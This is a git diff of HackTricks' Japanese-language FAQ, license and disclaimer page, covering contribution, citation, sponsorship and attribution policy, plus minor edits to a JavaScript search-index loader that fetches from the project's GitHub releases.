If you are specially grateful you can also [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
|
||||
そして**Github プロジェクトにスターを忘れずに!**(リンクは下にあります)。
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **How can I contribute to the project?**
|
||||
|
||||
コミュニティに**share new tips and tricks with the community or fix bugs**を共有したり、本で見つけたバグを修正したりするには、該当するGithubページに**Pull Request**を送ってください:
|
||||
You can **share new tips and tricks with the community or fix bugs** you find in the books sending a **Pull Request** to the respective Github pages:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -44,14 +44,14 @@ Don't forget to **give a star in the Github projects!**
|
||||
>
|
||||
> - **Can I copy some content from HackTricks and put it in my blog?**
|
||||
|
||||
はい、可能です。ただし、コンテンツを取得した**specific link(s)**を必ず記載してください。
|
||||
Yes, you can, but **don't forget to mention the specific link(s)** where the content was taken from.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **How can I cite a page of HackTricks?**
|
||||
|
||||
情報を取得したページのリンクが表示されていればそれで十分です。\
|
||||
bibtexが必要な場合は、次のような形式を使用できます:
|
||||
情報を得たページのリンクが記載されていれば十分です。\
|
||||
If you need a bibtex you can use something like:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -62,82 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
```
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Can I copy all HackTricks in my blog?**
|
||||
|
||||
**やめてください**。これは**誰の利益にもなりません**。公式のHackTricksの書籍ですでに**全て無料で公開されている**コンテンツだからです。
|
||||
|
||||
もし消えることを心配しているなら、Githubでforkするかダウンロードしてください。繰り返しますが、既に無料で公開されています。
|
||||
> - **私のブログにHackTricksの全コンテンツをコピーして掲載できますか?**
|
||||
>
|
||||
> **できればやめてください**。それは**誰の利益にもなりません**。公式のHackTricks書籍ですでに**すべてのコンテンツが無料で公開されている**からです。
|
||||
>
|
||||
> もし消えてしまうことを心配しているのであれば、Githubでforkするかダウンロードしてください。繰り返しますが、すでに無料です。
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
|
||||
|
||||
最初の**HackTricks**の**価値**は、世界中の**すべての人**に**無料の(FREE)**ハッキング教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために**何千時間も費やしており**、再度言いますが**無料**で提供しています。
|
||||
|
||||
HackTricksの書籍が**商業目的**で作られていると思うなら、それは**完全に間違いです(COMPLETELY WRONG)**。
|
||||
|
||||
スポンサーがいるのは、全てのコンテンツが無料であっても、コミュニティが我々の仕事を**感謝の気持ちとして支援できる機会**を提供したいからです。したがって、人々がHackTricksに寄付できるように[**Github sponsors**](https://github.com/sponsors/carlospolop)を通じたオプションや、**関連するサイバーセキュリティ企業**によるスポンサー掲載や、学習を**妨げない**場所に配置した**広告(ads)**の掲載オプションを提供しています。広告は常に**見える場所**に置きますが、コンテンツに集中している人の学習を**妨げない**ようにしています。
|
||||
|
||||
他のコンテンツが少ないブログのように煩わしい広告で溢れていることはなく、HackTricksは商業目的で作られていません。
|
||||
> - **なぜスポンサーがいるのですか?HackTricksの本は商業目的のものですか?**
|
||||
>
|
||||
> 最初の **HackTricks** の **価値** は、世界中の**すべての人**に**無料**のハッキング教育リソースを提供することです。HackTricksチームはこのコンテンツを提供するために**何千時間も**費やしており、改めて言いますが**無料**です。
|
||||
>
|
||||
> もしHackTricksの書籍が**商業目的**のために作られていると思っているなら、それは**完全に間違い**です。
|
||||
>
|
||||
> スポンサーがいるのは、コンテンツがすべて無料であっても、コミュニティが**私たちの仕事に感謝を示す手段**を提供したいからです。したがって、人々がHackTricksに寄付するオプションとして[**Github sponsors**](https://github.com/sponsors/carlospolop)を提供しており、**関連するサイバーセキュリティ企業**がHackTricksをスポンサーし、書籍内に**広告**を掲載することがあります。これらの**広告**は常に目に付きやすい場所に配置しますが、コンテンツに集中する学習を**妨げない**よう配慮しています。
|
||||
>
|
||||
> HackTricksは他のコンテンツが少ないブログのように煩わしい広告で満ちていることはありません。HackTricksは商業目的で作られていません。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
|
||||
|
||||
**申し訳ありません。これは起こるべきではありません**。Github issues、Twitter、Discordなどで、そのHackTricksページのリンクとあなたのブログのリンクを教えてください。**確認してできるだけ早く参照を追加します(ASAP)**。
|
||||
> - **もしHackTricksのページが私のブログ記事に基づいているのに参照がない場合はどうすればいいですか?**
|
||||
>
|
||||
> **大変申し訳ありません。これは起こるべきではありません。** Github issues, Twitter, Discord... などで、該当するHackTricksページのリンクとあなたのブログのリンクを教えてください。**確認してできるだけ早く参照を追加します。**
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
|
||||
|
||||
HackTricksにあなたのページへのリンクがあることは次の点で利点があります:
|
||||
|
||||
- あなたの**SEO**が向上する
|
||||
- コンテンツは**15以上の言語に翻訳され**、より多くの人がアクセス可能になる
|
||||
- **HackTricksは**人々があなたのページを**確認することを奨励している**(いくつかの方から、HackTricksに彼らのページが掲載されてから訪問者が増えたと報告を受けています)
|
||||
|
||||
それでもあなたが自身のブログのコンテンツをHackTricksから削除してほしい場合は、知らせてください。該当するあなたのブログへのすべてのリンクおよびそれに基づくコンテンツを**確実に削除**します。
|
||||
> - **私のブログのコンテンツがHackTricksにあり、そこに掲載してほしくない場合はどうすればいいですか?**
|
||||
>
|
||||
> HackTricksにあなたのページへのリンクがあることは次の点でメリットがあります:
|
||||
>
|
||||
> - あなたの**SEO**が向上します
|
||||
> - コンテンツが**15以上の言語に翻訳され**、より多くの人がその内容にアクセスできるようになります
|
||||
> - **HackTricksは**人々に**あなたのページを確認するよう促します**(いくつかの方から、彼らのページがHackTricksに掲載されて以来アクセスが増えたと報告を受けています)
|
||||
>
|
||||
> それでもあなたのブログのコンテンツをHackTricksから削除してほしい場合は、知らせてください。**あなたのブログへのすべてのリンク**およびそれに基づくコンテンツを確実に**削除します**。
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **What should I do if I find copy-pasted content in HackTricks?**
|
||||
|
||||
我々は常に**原著者に全てのクレジットを与えます**。もしオリジナルの出典が示されていないコピー&ペーストのページを見つけた場合は教えてください。該当ページは**削除する**か、**テキストの前にリンクを追加する**か、**リンクを付けて書き直す**いずれかを行います。
|
||||
> - **HackTricksでコピペされたコンテンツを見つけた場合はどうすればいいですか?**
|
||||
>
|
||||
> 我々は常に**原著作者に全てのクレジットを与えます**。もし出典が示されていないコピペされたページを見つけた場合は教えてください。我々はそのページを**削除する**か、**該当テキストの前にリンクを追加する**か、**リンクを付けて書き直す**いずれかの対応を取ります。
|
||||
|
||||
## ライセンス
|
||||
|
||||
Copyright © All rights reserved unless otherwise specified.
|
||||
著作権 © 特に記載がない限り全ての権利を保有します。
|
||||
|
||||
#### ライセンス概要:
|
||||
|
||||
- 帰属: あなたは以下のことができます:
|
||||
- 共有 — 素材をあらゆる媒体や形式でコピーおよび再配布できます。
|
||||
- 改変 — 素材をリミックス、変換、発展させることができます。
|
||||
- 帰属: 以下のことが許可されています:
|
||||
- Share — あらゆる媒体や形式で素材をコピーおよび再配布できます。
|
||||
- Adapt — リミックス、変換、素材に基づく二次的著作物の作成が可能です。
|
||||
|
||||
#### 追加条件:
|
||||
#### 追加条項:
|
||||
|
||||
- 第三者コンテンツ: 本ブログ/書籍の一部には他のソースからのコンテンツ(他のブログや出版物の抜粋など)が含まれている場合があります。これらの使用はフェアユースの原則または該当する著作権保有者からの明示的許可の下で行われています。第三者コンテンツに関する具体的なライセンス情報については元のソースを参照してください。
|
||||
- 著作: HackTricksによって作成されたオリジナルのコンテンツは本ライセンスの対象となります。共有や改変の際には作成者への帰属を推奨します。
|
||||
- Third-Party Content: このブログ/書籍の一部は、他のブログや出版物からの抜粋など、第三者のコンテンツを含む場合があります。そのようなコンテンツの使用はフェアユースの原則に基づくか、該当する著作権保有者からの明示的な許可を得て行われています。第三者コンテンツに関する具体的なライセンス情報については、元のソースを参照してください。
|
||||
- Authorship: HackTricksが作成したオリジナルコンテンツは本ライセンスの対象となります。共有や改変を行う際は、著者への帰属を推奨します。
|
||||
|
||||
#### 例外:
|
||||
#### 免除事項:
|
||||
|
||||
- 商業利用: 本コンテンツの商業利用に関するお問い合わせはご連絡ください。
|
||||
- 商業利用: 本コンテンツの商業利用に関するお問い合わせは、私にご連絡ください。
|
||||
|
||||
本ライセンスはコンテンツに関連する商標やブランディング権を付与するものではありません。本ブログ/書籍に掲載されているすべての商標およびブランディングは各所有者の財産です。
|
||||
本ライセンスは、本コンテンツに関連する商標やブランディング権を付与するものではありません。本ブログ/書籍に掲載されている商標およびブランドは、それぞれの所有者に帰属します。
|
||||
|
||||
**HackTricksにアクセスまたは使用することで、あなたは本ライセンスの条件に従うことに同意したものとみなされます。これらの条件に同意しない場合は、このウェブサイトにアクセスしないでください。**
|
||||
**HackTricksにアクセスまたは使用することで、あなたは本ライセンスの条件に従うことに同意したものとみなされます。これらの条件に同意しない場合は、本サイトへのアクセスをお控えください。**
|
||||
|
||||
## **免責事項**
|
||||
|
||||
> [!CAUTION]
|
||||
> 本書『HackTricks』は教育および情報提供を目的としています。本書内のコンテンツは「現状のまま(as is)」で提供されており、著者および出版社は、本書に含まれる情報、製品、サービス、または関連する図表の完全性、正確性、信頼性、適合性、入手可能性について、明示的または黙示的を問わず何ら保証するものではありません。したがって、これらの情報に依存する場合はすべて自己の責任となります。
|
||||
> 本書『HackTricks』は教育および情報提供を目的としています。本書の内容は「現状のまま」提供されており、著者および出版社は、本書に含まれる情報、製品、サービス、関連図版の完全性、正確性、信頼性、適合性、入手可能性について、明示的にも黙示的にもいかなる保証も行いません。本書の情報に依拠する場合、その責任は全て利用者自身にあります。
|
||||
>
|
||||
> 著者および出版社はいかなる場合においても、データまたは利益の損失に起因する直接的または間接的な損害、または本書の使用に関連して生じる一切の損害について責任を負いません。
|
||||
> 著者および出版社は、データや利益の損失に起因する、またはそれに関連する間接的または結果的損害を含むいかなる損失や損害についても、一切責任を負いません。
|
||||
>
|
||||
> さらに、本書に記載されている技術やヒントは教育および情報提供のみを目的としており、違法または悪意のある活動に使用すべきではありません。著者および出版社は違法または非倫理的な行為を容認または支持するものではなく、本書の情報の使用は利用者自身の責任と判断で行ってください。
|
||||
> さらに、本書で説明されている技術やアドバイスは教育および情報提供を目的としたものであり、違法または悪意のある活動に使用されるべきではありません。著者および出版社は、違法または非倫理的な活動を容認または支持するものではなく、本書の情報の使用は利用者自身のリスクと裁量によるものです。
|
||||
>
|
||||
> 利用者は本書の情報に基づいて行った行為について単独で責任を負い、記載されている技術やヒントを実装しようとする場合は常に専門家の助言を求めるべきです。
|
||||
> 利用者は、本書の情報に基づいて行った行為について単独で責任を負うものとし、これらの技術やアドバイスを実装しようとする場合は常に専門家の助言を求めるべきです。
|
||||
>
|
||||
> 本書を使用することにより、利用者は著者および出版社を、本書または本書に含まれる情報の使用に起因して生じる可能性のあるいかなる損害、損失、または害に対しても免責することに同意したものとします。
|
||||
> 本書を使用することで、利用者は本書の著者および出版社を、使用に起因する可能性のあるあらゆる損害、損失、危害について免責することに同意したものとみなされます。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -491,3 +491,4 @@
|
||||
handle.addEventListener("touchstart", onStart, { passive: false });
|
||||
}
|
||||
})();
|
||||
|
||||
|
@ -68,11 +68,11 @@
|
||||
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
|
||||
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
|
||||
|
||||
const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
|
||||
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
|
||||
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => `${mainReleaseBase}/${tag}/searchindex.js`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => `${cloudReleaseBase}/${tag}/searchindex.js`);
|
||||
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
|
||||
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
|
||||
|
||||
const indices = [];
|
||||
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
|
||||
@ -208,3 +208,4 @@
|
||||
listOut.classList.toggle('hidden',!docs.length);
|
||||
};
|
||||
})();
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user